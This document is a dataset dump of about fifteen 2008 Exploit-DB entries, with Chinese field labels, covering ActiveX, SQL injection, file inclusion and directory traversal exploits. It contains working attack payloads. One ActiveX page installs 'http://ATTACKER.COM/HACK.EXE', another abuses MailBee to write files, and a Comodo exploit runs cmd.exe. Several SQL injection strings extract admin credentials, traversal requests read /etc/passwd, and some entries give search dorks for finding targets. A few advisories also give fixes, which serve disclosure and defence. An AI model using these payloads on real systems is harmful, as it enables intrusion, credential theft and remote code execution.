QLWD/code_shield huggingface dataset:
标题: Sejoong Namo ActiveSquare 6 - 'NamoInstaller.dll' install Method EDB-ID: 4986 CVE: 2008-0551 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-25 漏洞利用脚本: <!-- 
Sejoong Namo ActiveSquare 6 NamoInstaller.dll install Method Exploit

Written by http://www.Plan-S.cn
Tested on Windows XP SP2(fully patched) Korean, IE6, NamoInstaller.dll version 3,0,0,1 
-->



<html>
 <head>
<html>
 <head>
  <title>Namo Web Editor NamoInstaller.dll install Method Exploit</title>
  <script language="JavaScript" defer>
    function Check() 
   {
       obj.Install("http://ATTACKER.COM/HACK.EXE")           
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:AF465549-1D22-4140-A273-386FA8877E0A" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

tml>

-->

# milw0rm.com [2008-01-25] URL: https://www.exploit-db.com/exploits/4986
标题: MailBee Objects 5.5 - 'MailBee.dll' Remote Insecure Method EDB-ID: 4999 CVE: 2008-0631 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-28 漏洞利用脚本: <body bgcolor="#000000">

<div align="center">

<pre><code><span style="font: 10pt verdana;"><font color="#00FF00">=======================================================================</font>
</div><center>
 <font face="Verdana" color="#00FF00"><b>MailBee Objects v5.5 (MailBee.dll) Insecure Method</b><br>
 Web site : <a href="http://www.afterlogic.com/"><font color="#00FF00">http://www.afterlogic.com/</font></a></font><br><font face="Verdana" color="#00FF00">
=======================================================================</font><font face="Verdana" color="#00FF00">
 </font></span><font color="#00FF00"><br><span style="font-style:normal; font-variant:normal; font-size:10pt; font-family:Verdana; font-weight:700">Author: darkl0rd
 <br>E-mail: l_l_darkl0rd_l_l@yahoo.com</span></font><br><font color="#00FF00"><span style="font-style:normal; font-variant:normal; font-weight:normal; font-size:10pt; font-family:Verdana">
 Tested on Windows XP Professional SP2 , with Internet Explorer 6
</span></font></center>

<div align="left"><font color="#00FF00"><object classid='clsid:0A83F9E1-A8DD-459F-B98F-24295345AFA8' id='los'></object></font>
<object classid='clsid:4D007FEC-23CA-4DEF-869A-8776FAE266DB' id='over'></object>
</div><div align="center"><br><font color="#00FF00" face="Verdana">Save Files</font>
</div><center><span style="font: 10pt verdana;"><input language=VBScript onclick=evil() type=button value="Exploit [1]"></span>&nbsp;<font face="verdana" size="2" color="#00FF00"><br>Creat Files</font></center>
<center><input language=VBScript onclick=nice() type=button value='Exploit [2]'></center>
d'/<script language='vbscript'>
 Sub evil
   los.SaveToDisk ("c:\Windows\"),"system.ini"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
 Sub nice
   mystr="start"
   over.AddStringToFile "c:\darkl0rd.bat" ,mystr
   MyMsg = MsgBox("Exploit completed!")
  End Sub
</script>
</span></code></pre>

# milw0rm.com [2008-01-28] URL: https://www.exploit-db.com/exploits/4999
标题: Tiger PHP News System 1.0b build 39 - SQL Injection EDB-ID: 4984 CVE: 2008-0469 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-25 漏洞利用脚本: /*
 *Tiger PHP News System SQL Injection
 *Bug found bY 0in from DaRk-Coders Group!
 *Homepage: http://dark-coders.4rh.eu or http://dark-coders.prv.pl
 *IRC:#dark-coders at irc.freenode.org
 *Email: 0in(dot)email(at)gmail(dot)com
*/

 Script home: http://tpns.k-na.se/
 Exploit: http://localhost/?page=newscat&catid=-666%20union%20select%20passwd%20from%20user

 Greetings to:All Dark-Coders Team Members - Die-Angel,m4r1usz,suN8Hclf,Djlinux,
 Aristo89

# milw0rm.com [2008-01-25] URL: https://www.exploit-db.com/exploits/4984
标题: Seagull 0.6.3 - 'files' Remote File Disclosure EDB-ID: 4980 CVE: 2008-0465 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-24 漏洞利用脚本: __fuzion___    ____     
       ______/   \__//   \__/____\    
     _/   \_/  :           //____\\   
    /|      :  :  ..      /        \  
   | |     ::     ::      \        /  
   | |     :|     ||     \ \______/   
   | |     ||     ||      |\  /  |    
    \|     ||     ||      |   / | \   
     |     ||     ||      |  / /_\ \  
     | ___ || ___ ||      | /  /    \ 
      \_-_/  \_-_/ | ____ |/__/      \
                   _\_--_/    \      /
                  /____             / 
                 /     \           /  
                 \______\_________/   


Product:
Seagull STABLE 0.6.3
http://seagullproject.org/

Vulnerable:
optimizer.php; line 61

        // get files and it's mod time
        if (!empty($_GET['files'])) {
            $filesString = $_GET['files'];
            $aFiles = explode(',', $_GET['files']);
            foreach ($aFiles as $fileName) {
                if (is_file($jsFile = dirname(__FILE__) . '/' . $fileName)) {
                    $this->aFiles[] = $jsFile;
                    $lastMod = max($lastMod, filemtime($jsFile));

PoC:
http://pentest.localhost/seagull-0.6.3/www/optimizer.php?files=../../../../../../../../etc/passwd

Greetings to:
d3hydr8, whoami, beenu, kasi, MosDef, etc
Everyone at darkc0de.com & rootmybox.org

# milw0rm.com [2008-01-24] URL: https://www.exploit-db.com/exploits/4980
标题: Liquid-Silver CMS 0.1 - 'update' Local File Inclusion EDB-ID: 4976 CVE: 2008-0459 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-23 漏洞利用脚本: ####################################################################################
###### Liquid-Silver CMS   Local File Inclusion Vulnerabilities                #####
###### http://sourceforge.net/project/showfiles.php?group_id=171166            #####
###### author : Stack-Terrorist [v40]                                          #####
###### foor read a php file > ?update=[name of file iwthout php]               #####
###### for execute exploit does not write extention of file                    #####
######                                                                         #####
######                                                                         #####
###### exploit : /Script/update/index.php?update=/[name of file wthout php]    #####
######                                                                         #####
###### example : /Script/update/index.php?update=/home/user/shell              #####
######                                                                         #####
###### other files:    update=../../../../etc/passwd%00                        #####
######                                                                         #####
######  H-T Team , v4 Team  , Tryag , no-hack all my friend                    #####
####################################################################################

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4976
标题: Siteman 1.1.9 - 'cat' Remote File Disclosure EDB-ID: 4973 CVE: 2008-0452 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-23 漏洞利用脚本: #####################################################################################
####             Siteman V:1.1.9 File Disclosure Vulnerability                   ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#                                                                                   #
#Page Address:  http://Sitename/articles.php?do=viewart&id=%00&cat=[file name]%00   #
#                                                                                   #
#                                                                                   #
#Dork : "Siteman Version 1.1.9"                                                     #
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4973
标题: Comodo AntiVirus 2.0 - 'ExecuteStr()' Remote Command Execution EDB-ID: 4974 CVE: 2008-0470 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-23 漏洞利用脚本: <!--
Comodo AntiVirus 2.0 ExecuteStr() 0day Remote Command Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on:..
- Comodo AntiVirus Beta 2.0
- Microsoft Internet Explorer 6
Just for fun  ;)  
-->

<html>
<object id="obj" classid="clsid:309F674D-E4D3-46BD-B9E2-ED7DFD7FD176"></object>

<script>
obj.ExecuteStr('cmd.exe', '/C echo "hello world" && pause');
</script>

</html>

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4974
标题: Aconon Mail 2004 - Directory Traversal EDB-ID: 4977 CVE: 2008-0464 类型: WEBAPPS 平台: CGI 发布日期: 2008-01-23 漏洞利用脚本: Application: aconon(R) Mail

Affected versions: probably all known, tested against 2007 Enterprise
SQL 11.7.0 and 2004 Enterprise SQL 11.5.1

Affected plattforms: every, Aconon runs at (Win32, Linux, Solaris ...)

Exploitation: remote

Description: Aconon Mail is a commercial newsletter software, providing
a feature rich web interface for both, users and administrators. This
includes a public available archive of sent newsletters. Those archived
e-mails may be accessed through the web browser, processed by a template
 engine. The used template may be overwritten by any user, modifying the
HTTP-GET "template" form parameter. This parameter is checked against
code injection, not against directory traversal though.

Proof of Concept:

http://www.aconon.de/mail-demo/archiv.cgi?list=&file=Newsletter-HtmlNachricht.save&template=data/password.pl&link=%3C%3C%3C%3C
vhttp://www.aconon.de/mail-demo/archiv.cgi?list=&file=Newsletter-HtmlNachricht.save&template=../../../../../../etc/passwd&link=%3C%3C%3C%3C

Fix:

No fix has been published yet. However this workaround should patch the
issue:

Add in archiv.cgi below
  $FORM{'template'} =~ s/\|//g;

this code:

  use File::Basename;
  $FORM{'template'} = ($FORM{'template'}) ? basename($FORM{'template'})
: "";
  if ($FORM{'template'} && $FORM{'template'} !~ /\.html$/) {
        &error ("$TXT{'1501'}");
        }

Status: the vendor has been informed.


German readers of the list may also read
http://burnachurch.com/67/directory-traversal-luecke-in-aconon-mail/

P.S. greets to missi - you're great :o)

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4977
标题: LulieBlog 1.02 - SQL Injection EDB-ID: 4969 CVE: 2008-0446 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-23 漏洞利用脚本: #####################################################################################
####              LulieBlog Version 1.02 Remote Sql Injection                    ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://sourceforge.net/project/platformdownload.php?group_id=204083
#                                                                                   #
#Injection Adress :  http://Sitename/voircom.php?id=[SQL CODE]                      #
#                                                                                   #
#                                                                                   #
#[SQL CODE] : -1%27union/**/select/**/0,concat(nom_parametre,0x3a,0x3a,valeur_parametre),2,3,4,5/**/from/**/lulieblog_parametres/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4969
标题: Web Wiz NewsPad 1.02 - 'sub' Directory Traversal EDB-ID: 4972 CVE: 2008-0479 类型: WEBAPPS 平台: ASP 发布日期: 2008-01-23 漏洞利用脚本: ########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research Team
#
# Title: Web Wiz NewsPad(TM)
# Vendor: http://www.webwizguide.com/
# Bug: Directory traversal
# Vulnerable Version: 1.02
# Exploit: Available
# Fix Available: No! Fast Solution is available.
###################################################################################


####################
- Description:
####################
Web Wiz NewsPad is an advanced but easy to use Email Newsletter and Website News Bulletin software.

####################
- Vulnerability:
####################
Input passed to the FolderName parameter in "RTE_file_browser.asp" is not properly sanitised before being used. This can be exploited to list directories, list txt and list zip files through directory traversal attacks.
Also, "RTE_file_browser.asp" does not check user's session and an unauthenticated attacker can perform this attack.

-POC:
http://[WebWiz NewsPad]/RTE_file_browser.asp?look=&sub=\.....\\\.....\\\.....\\\


####################
- Fast Solution :
####################
You can see below lines in "RTE_file_browser.asp"

 'Stip path tampering for security reasons
 strSubFolderName = Replace(strSubFolderName, "../", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "..\", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "./", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, ".\", "", 1, -1, 1)

Only add this to them:
 strSubFolderName = Replace(strSubFolderName, "/", "\", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "\\", "\", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "..", "", 1, -1, 1) 

####################
- Credit :
####################
Original Advisory: http://www.bugreport.ir/?/30
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4972
标题: Web Wiz Forums 9.07 - 'sub' Directory Traversal EDB-ID: 4970 CVE: 2008-0480 2008-0466 类型: WEBAPPS 平台: ASP 发布日期: 2008-01-23 漏洞利用脚本: ########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research Team
#
# Title: Web Wiz Forums(TM)
# Vendor: http://www.webwizguide.com/
# Bug: Directory traversal
# Vulnerable Version: 9.07
# Exploit: Available
# Fix Available: No! Fast Solution is available.
###################################################################################


####################
- Description:
####################
Web Wiz Forums bulletin board system is the ideal forum package for your website's community. 

####################
- Vulnerability:
####################
Input passed to the FolderName parameter in "RTE_file_browser.asp" and "file_browser.asp" are not properly sanitised before being used. This can be exploited to list directories, list txt and list zip files through directory traversal attacks.
Also, "RTE_file_browser.asp" does not check user's session and an unauthenticated attacker can perform this attack.

-POC:
http://[WebWiz Forum]/RTE_file_browser.asp?look=&sub=\.....\\\.....\\\.....\\\


####################
- Fast Solution :
####################
You can see below lines in "RTE_file_browser.asp" and "file_browser.asp"

 'Stip path tampering for security reasons
 strSubFolderName = Replace(strSubFolderName, "../", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "..\", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "./", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, ".\", "", 1, -1, 1)

Only add this to them:
 strSubFolderName = Replace(strSubFolderName, "/", "\", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "\\", "\", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "..", "", 1, -1, 1) 

####################
- Credit :
####################
Original Advisory: http://www.bugreport.ir/?/29
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4970
标题: SLAED CMS 2.5 Lite - 'newlang' Local File Inclusion EDB-ID: 4975 CVE: 2008-0458 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-23 漏洞利用脚本: # SLAED CMS 2.5 Lite Local file inclusion

# Script url http://www.slaed.net/uploads/files/public/SLAED_CMS_2.5_Lite.zip

# Lets code in function/sources.php: 
 
780:  // Format language
781:  function get_lang($module="") {
782: global $multilingual, $currentlang, $language, $user_cookie_t;
783: if (isset($_REQUEST['newlang']) && $multilingual == "1") {
784:  if (file_exists("language/lang-".$_REQUEST['newlang'].".php")) {
785:   setcookie("lang", $_REQUEST['newlang'], time() + intval($user_cookie_t));
786:   require_once("language/lang-".$_REQUEST['newlang'].".php");
                        ...

And in index.php:
9:    require_once("function/function.php");
10:   get_lang();

# As you can see variable newlang is not filtered, so, if magic_quotes_gpc turned off, we can use exploit:

http://[targethost]/[path]/index.php?newlang=../../../../../../../../../../etc/passwd%00

# Bug discovered by The_HuliGun

# Greetz to: NaTka and all people who understand...

# See u soon!

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4975
标题: Web Wiz Rich Text Editor 4.0 - Multiple Vulnerabilities EDB-ID: 4971 CVE: 2008-0481 2008-0473 2008-0466 类型: WEBAPPS 平台: ASP 发布日期: 2008-01-23 漏洞利用脚本: ########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research Team
#
# Title: Web Wiz Rich Text Editor(TM)
# Vendor: http://www.webwizguide.com/
# Bug: Directory traversal + HTM/HTML file creation on the server
# Vulnerable Version: 4.0
# Exploit: Available
# Fix Available: No! Fast Solution is available.
###################################################################################


####################
- Description:
####################
Web Wiz Rich Text Editor (RTE) is a free WYSIWYG HTML Rich Text Editor that replaces standard textarea's with an advanced Word style HTMLarea.

####################
- Vulnerability:
####################
Input passed to the FolderName parameter in "RTE_file_browser.asp" is not properly sanitised before being used. This can be exploited to list directories, list txt and list zip files through directory traversal attacks.
Also, "RTE_file_browser.asp" does not check user's session and an unauthenticated attacker can perform this attack.
Moreover, by using "RTE_popup_save_file.asp" attacker can make his/her HTML or HTM file on the server, so this can be used in XSS attacks or making fake pages.

-POC:
http://[WebWiz RTE]/RTE_file_browser.asp?look=save&sub=\.....\\\.....\\\.....\\\.....\\\.....\\\
http://[WebWiz RTE]/RTE_popup_save_file.asp

####################
- Fast Solution :
####################
1- You can see below lines in "RTE_file_browser.asp"

 'Stip path tampering for security reasons
 strSubFolderName = Replace(strSubFolderName, "../", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "..\", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "./", "", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, ".\", "", 1, -1, 1)

Only add this to them:
 strSubFolderName = Replace(strSubFolderName, "/", "\", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "\\", "\", 1, -1, 1)
 strSubFolderName = Replace(strSubFolderName, "..", "", 1, -1, 1) 
2- Rename "RTE_popup_save_file.asp" till main solution by vendor

####################
- Credit :
####################
Original Advisory: http://www.bugreport.ir/?/31
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4971
标题: Foojan Wms 1.0 - 'story' SQL Injection EDB-ID: 4968 CVE: 2008-0447 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-23 漏洞利用脚本: #####################################################################################
####                  Foojan WMS 1.0 Remote Sql Injection                        ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://www.iranscripts.com/download/Foojan-WMS1.0%20Full.rar     #
#                                                                                   #
#Injection Adress :  http://Sitename/index.php?story=[SQL CODE]                     #
#                                                                                   #
#                                                                                   #
#[SQL CODE] : 1%27union/**/select/**/0,concat(0x55736572203a20,UserName,0x202b2050617373776f7264203a,PassWord),2,3,4,5,6,7,8/**/from/**/authors/*
#                                                                                   #
#                                                                                   #
#                                                                                   #
#Admin Page For Login is ./admin.php                                                 #
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-23] URL: https://www.exploit-db.com/exploits/4968
标题: Easysitenetwork Recipe - 'categoryId' SQL Injection EDB-ID: 4960 CVE: 2008-0453 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-22 漏洞利用脚本: #########################################################################
#
# Recipes hacking(list.php?pagenum)SQL Injection
#
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 2 : allinurl: " list.php?pagenum"
#
#########################################################################
# EXPLOIT
#
# list.php?pagenum=0&categoryid=1+union+select+111,222,concat_ws(char(58),login,password),444+from+admin_login/*
#

#########################################################################
# S@BUN                 www.hackturkiye.com                    S@BUN
#########################################################################
# S@BUN                      GOOD LUCKY                          S@BUN
#########################################################################

# milw0rm.com [2008-01-22] URL: https://www.exploit-db.com/exploits/4960